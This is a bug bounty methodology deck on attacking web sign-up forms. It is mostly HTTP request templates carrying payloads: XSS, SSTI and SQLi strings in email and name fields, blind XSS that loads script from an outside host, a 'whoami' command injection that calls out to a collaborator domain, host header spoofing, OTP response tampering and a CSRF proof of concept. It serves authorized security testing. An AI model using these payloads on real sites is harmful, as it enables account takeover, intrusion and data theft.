



Sign Up

Mahmoud M. Awali

 **@0xAwali**



Note

Try To Sign Up On **Web AND Mobile App** To Understand How Company Deal With Registration And **Read The Received Email** To Know What is Reflected

-  Slides

-  Tweet

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=me@gmail.com
&password=*****&captcha=Random&token=CSRF
```



Note

If You Need Business Email Try To Use username@bugcrowdninja.com OR username@wearehackerone.com

-  Docs
-  Docs

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email=username@wearehackerone.com&password=*****&captcha=Random&token=CSR&Ffirstname=l&lastname=am
```



Note

Note That , Gmail Treats **Me@gmail.com** AND **Me+1@gmail.com** As One Email , So When You Need To Create Multi Accounts , Use This Feature

-  Writeup
-  Writeup
-  Tweet

```
user+1@gmail.com
user+2@gmail.com
user+ANYSTRING@gmail.com
user@gmail.com
use.r@gmail.com
us.er@gmail.com
u.ser@gmail.com
```



Note

You Can Use **Burp Suite Collaborator** To Create Multi Accounts e.g.
me@one.id.collaborator.net , **me@two.id.collaborator.net** etc



Mine

```
me@one.id.collaborator.net  
me@two.id.collaborator.net  
me@three.id.collaborator.net  
me@four.id.collaborator.net
```



Note

If There Is Google's ReCAPTCHA Try To Configure TLS Pass Through
Of Burp Suite e.g. `.*google.com.*`



Tweet

Steps to produce :-

- 1 - Go To Burp Suite Project Configurations
- 2 - Go To TLS Pass Through
- 3 - Click Add Then Enter
`.*google.com.*`



attacker

My Methodology

Try To Sign Up With **Existing Email Address e.g. existing@gmail.com** , Sometimes Authorization Token Will Reflect In Response

- **M** Writeup
- **M** Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=existing@gmail.com
&password=*****&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Sign Up With **Company Mail Address e.g. admin@company.com** To Gain Extra Authorities OR Get More Functionalities

-  Slides
-  Writeup
-  Blog
-  Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=admin@company.com
&password=*****&captcha=Random&token=CSRF
```




attacker

My Methodology

Try To Sign Up With **Company Mail Address Plus Space** e.g. 'admin@company.com '
To Gain Extra Authorities OR Get More Functionalities



Tweet

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=admin@company.com
&password=*****&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Sign Up With **Company Capitalize Mail Address** e.g. **admin@COMPANY.COM**
To Gain Extra Authorities OR Get More Functionalities



Tweet

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=admin@COMPANY.COM
&password=*****&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Sign Up With **Company Mail Address In This List** To Gain Extra Authorities OR Get More Functionalities

-  Slides

-  Tweet

```
admin@gmail.com@company.com
me+(@gmail.com)@company.com
"me@gmail.com"@company.com
"<me@gmail.com>"@company.com
"me@gmail.com;"@company.com
"me@gmail.com+"@company.com
```



attacker

My Methodology

Try To Sign Up With **Company Mail Address In This List** To Gain Extra Authorities OR Get More Functionalities



Tweet

```
admin@googlemail.com@company.com
me+(@googlemail.com)@company.com
"me@googlemail.com"@company.com
"<me@googlemail.com.com>"@company.com
"me@googlemail.com;"@company.com
"me@googlemail.com+"@company.com
```



attacker

My Methodology

Try To Sign Up By Using **This List Of Payloads As Email Addresses** To Get XSS , SSTI , SQLi OR Abusing Of Database

-  Tweet
-  Tweet
-  Tweet
-  Video
-  Writeup






```
me+(<script>alert(0)</script> )@gmail.com
me(<script>alert(0)</script> )@gmail.com
me@gmail(<script>alert(0)</script> ).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${{7*7}} )@gmail.com
"" OR 1=1 -- ""@gmail.com
"me); DROP TABLE users;--"@gmail.com
% @gmail.com
```



attacker

My Methodology

Try To Sign Up By Using This List With **Burp Collaborator Mail Address** To Get Backend Information OR Internal IPs

-  Slides
-  Tweet
-  Tweet
-  Video
-  Blog

```
me@id.collaborator.net
me@[id.collaborator.net]
user(;me@id.collaborator.net)@gmail.com
me@id.collaborator.net(@gmail.com)
me+(@gmail.com)@id.collaborator.net
<me@id.collaborator.net>user@gmail.com
```



attacker

My Methodology

Sometimes They Ping Your Host Before Sending A Mail So Try To Sign Up By Using **Burp Collaborator Mail Address with Injection OS Command** To Get RCE



Tweet

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=me@'whoami'.id.collaborat
or.net&password=*****&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Sign Up With **Company Mail Address** e.g. **admin@company.com** Then Try To Access To All Endpoints Of The Company **Without Verifying** admin@company.com

- **M** Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=admin@company.com&password=*****&captcha=Random&token=CSRF
```




Note

If Company Accepted admin@company.com As Email Address But You Can't Activate It , Try To **Spoof Host Header e.g X-Forwarded-Host OR X-Host**



Mine

```
POST /signUp HTTP/1.1
Host: www.company.com
X-Forwarded-Host: me.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

firstname=l&lastname=am&email=admin@gmail.com&password=
*****&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Insert **SSTI Payloads** e.g. `{{7*7}}` , `{7*7}` OR `${7*7}` In Username ,
First Name OR Last Name

-  Blog
-  Blog
-  Blog
-  Writeup
-  Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname={{7*7}}&lastname={{7*7}}&username={{7*7}}
&email=me&password=*****&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Insert `<%` In Username , First Name OR Last Name , So If `<%` Reflected In Email Body Try To Inject `<%= 7 * 7 %>` To Get SSTI



Tweet

BUG BOUNTY TIP

`<%` in e-mails


Testing for injections in e-mails?
Check the e-mail source code for literal characters or evaluated payloads & use basic locators such as `<%`.


Autogenerated Email

To: hunt4p0tz@outlook.com

This is a test email

```
1 <meta http-equiv="Content-Type" content="text/html; charset=us-ascii"><p>This is a test email| <% </p>
2
3 <p>More stuff follow here.. such as images and template text from the site generating the email.</p>
4 <a href="">links etc</a>
```



 ngkogkos

www.intigriti.com



attacker

My Methodology

Try To Set Your Name , First Name , Last Name etc As Blind XSS e.g. "><script src=//me.xss.ht></script> To Get BXSS In Admin Panel



Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
```

```
firstname="">><script src=//me.xss.ht></script>
&lastname="">><script src=//me.xss.ht></script>&
email=me@gmail.com&password=*****&captcha=Random
&token=CSRF
```



attacker

My Methodology

Try To Set Your Name , First Name , Last Name etc As Blind XSS e.g.
 To Get BXSS In Admin Panel



Blog

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
```

```
firstname=
&lastname=&
email=me@gmail.com&password=*****&captcha=Random
&token=CSRF
```



attacker

My Methodology

Try To Set Password As Blind XSS e.g. "><script src=//me.xss.ht></script> OR XSS Payload To Know If Your Password Reflect Plaintext In Backend OR Not

-  Tweet
-  Tweet
-  Slides
-  Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=me&password="><script
src=//me.xss.ht></script>&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Set Your Name , First Name , Last Name etc As **TRUE** , **NULL** , **UNDEFINED** etc



Tweet

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```


```
firstname=TRUE&lastname=TRUE&email=me@gmail.com&pass
word=*****&captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Insert **Invisible Range %00 To %FF** in Your Email OR Username e.g. Victim's Username is bob , You Can't Register it So Use bob%00 OR %01bob

-  Tweet
-  Writeup
-  Writeup

0xACB'S BUG BOUNTY TIP

From %00 to %FF

Fuzz **non-printable characters** in any user input! This may result in:

- Regex bypasses (blacklists)
- Account takeover (e-mail, username)
- Memory corruption





attacker

My Methodology

Try To **Insert Large String 50.000+ Characters OR Numbers in POST Parameters**
To Cause Errors Exposing Sensitive Information



Tweet

PXMME1337'S BUG BOUNTY TIP

Go big or go home.

"Large values in POST params may cause verbose (SQL) errors leaking sensitive data, code and even creds!"

String:

Number:



attacker

My Methodology

Try To Set Password e.g. **%01%E2%80%AEalert%0D%0A** Then Try To Log In Only Using %01 , Log In Without CRLF And Is trela Accepted Instead Of alert ?

-  Tweet

-  Blog

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=me&password=%01%E2%80%AEalert%0D%0A&captcha=Random&token=CSRF
```



attacker

My Methodology

If The Company Uses Invitation To Create Account **Try To Use Race Condition Technique To Create Multi Accounts** By Using Only One Invitation



Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=m&password=*****&Invitation=Random
```



attacker

My Methodology

Try To Do **Brute Force To Create Multi Accounts OR Enumerate Email Addresses** If The Company Doesn't Send Activation Link To Your Account

-  Writeup
-  Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=me@gmail.com&password=*****
```



attacker

My Methodology

Try To Insert **SQLi Payloads** e.g. ' AND '1' = '2 OR "';WAITFOR DELAY '0.0.20'--
OR **Blind XSS** In User-Agent



Writeup

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0 ' AND '1' = '2
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=me&password=*****&
captcha=Random&token=CSRF
```



attacker

My Methodology

Try To Inject Blind XSS e.g. `"><script src=//me.xss.ht></script>` OR Time-Based SQLi e.g. `";WAITFOR DELAY '0.0.20'--` In X-Forwarded-For Header



Tweet

BUG BOUNTY TIP

“Put **bXSS** and **SQLi** payloads in **x-forwarded-for** headers. Almost nobody escapes IP’s!”

– **Linus Särud**, **@_zulln**





attacker

My Methodology

Try To Set Your Birthday **Today** OR **Tomorrow** To Test Functionality Of Buying Giftcards With Birthday Discounts



Tweet

```
POST /signUp HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
firstname=l&lastname=am&email=me@gmail.com&birthday=
Today&password=*****&captcha=Random&token=CSRF
```



attacker

My Methodology

If You Can Register By Using Mobile-Number , The Server Will Ask You about OTP So Try To **Figure Out** If **OTP Will Expire OR Not** , If Not There Is Issue Here



Writeup

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
  "status" : 1 ,
  "message" : "OTP Matched Successfully"
}
```




attacker

My Methodology

If You Can Register By Using Mobile-Number , The Server Will Ask You about OTP So Try To **Manipulate The Response** If You Entered a Wrong Mobile-Number



Writeup

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
  "status" : 1 ,
  "message" : "OTP Matched Successfully"
}
```



attacker

My Methodology

Try To change Any UUID e.g. **ID** , **Email** OR **Phone** In The Response To UUID Of Victim Account While Intercepting Response Of Request Of The Sign Up



Tweet

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
  "email" : "victim@gmail.com",
  "redirect" : "/dashboard"
}
```



attacker

My Methodology

If There **Isn't CSRF Token** OR **Anti-CSRF** , Try To Create CSRF POC



Writeup

```
<html>
<body><form method="POST"
action="https://www.company.com">
<input type="text" value="me@gmail.com"
name="email">
<input type="text" value="Secrete" name="password">
<input type="submit" value="Click">
</form></body>
</html>
```



attacker

My Methodology

Retrieve Data From **Deleted Account** , By Signing Up With the Old-Email Address That Was Associated To it

•  Tweet

BUG BOUNTY TIP

Try to recover data from deleted accounts by signing up with the old e-mail address.

@StijnJans



Thank You

Mahmoud M. Awali

 **@0xAwali**